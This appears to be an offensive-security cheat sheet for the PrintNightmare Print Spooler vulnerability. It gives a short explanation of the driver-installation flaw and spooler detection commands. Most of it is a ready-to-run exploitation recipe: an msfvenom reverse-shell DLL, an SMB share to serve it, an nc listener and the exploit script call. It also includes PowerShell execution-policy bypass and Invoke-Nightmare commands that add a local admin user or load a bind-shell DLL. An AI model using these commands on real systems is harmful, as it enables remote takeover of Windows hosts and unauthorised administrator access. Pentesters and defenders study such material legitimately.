Overview
“PrintNightmare” refers to an RCE (Remote Command Execution) vulnerability. If the vulnerable machine is configured to reject remote connection, this vulnerability could still be exploited in an LPE (Local Privilege Escalation) context. In a detailed blogpost (here), Cyberwatch describes that the vulnerability lies in the functions allowing remote driver installation by users,
RpcAddPrinterDriverExandRpcAddPrinterDriver:
- The attacker stores the driver DLL file on a SMB share reachable from the server.
- The client creates a
DRIVER_INFO_2object containing the path to the attacker’s DLL and passes it into the DRIVER_CONTAINER object.- The client calls
RpcAddPrinterDriverExwith theDRIVER_CONTAINERto load the attacker’s DLL into the server’s dynamic library and with multiple bit values within thedwFileCopyFlagsin order to bypass theSeLoadDriverPrivilegeprivilege verification by the server.- The attacker’s DLL is executed on the server within
SYSTEMcontext.
Is Spooler active ?
# with cme
nxc smb <target_ip> -M spooler
# with impacket
rpcdump.py @<target_ip> | egrep 'MS-RPRN|MS-PAR'Exploit
Linux
- Check if the target’s RPC pipes are available: Impacket’s rpcdump.py
- Generate a DLL payload: msfvenom
- Host an SMB server from which the DLL can be fetched: Impacket’s smbserver.py
- Exploit PrintNightmare: CVE-2021-1675.py (MS-RPRN abuse, MS-PAR abuse)
- Profit from the DLL being executed by the target
# Create a DLL payload (reverse shell in this example)
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=<local_ip> LPORT=<local_port> -o /workspace/smb/remote.dll
# Host a SMB share
smbserver.py -smb2support "WHATEVERNAME" /workspace/smb/
# Start the listener (for the reverse shell)
nc -lvnp <local_port>
# Run the exploit
CVE-2021-1675.py <domain>/<user>:<password>@<target_ip> '\\$LOCAL_IP\$SHARE\remote.dll'Windows
https://github.com/JohnHammond/CVE-2021-34527
powershell -ep bypass
# add new user to local admin group
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
# or custom DLL
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"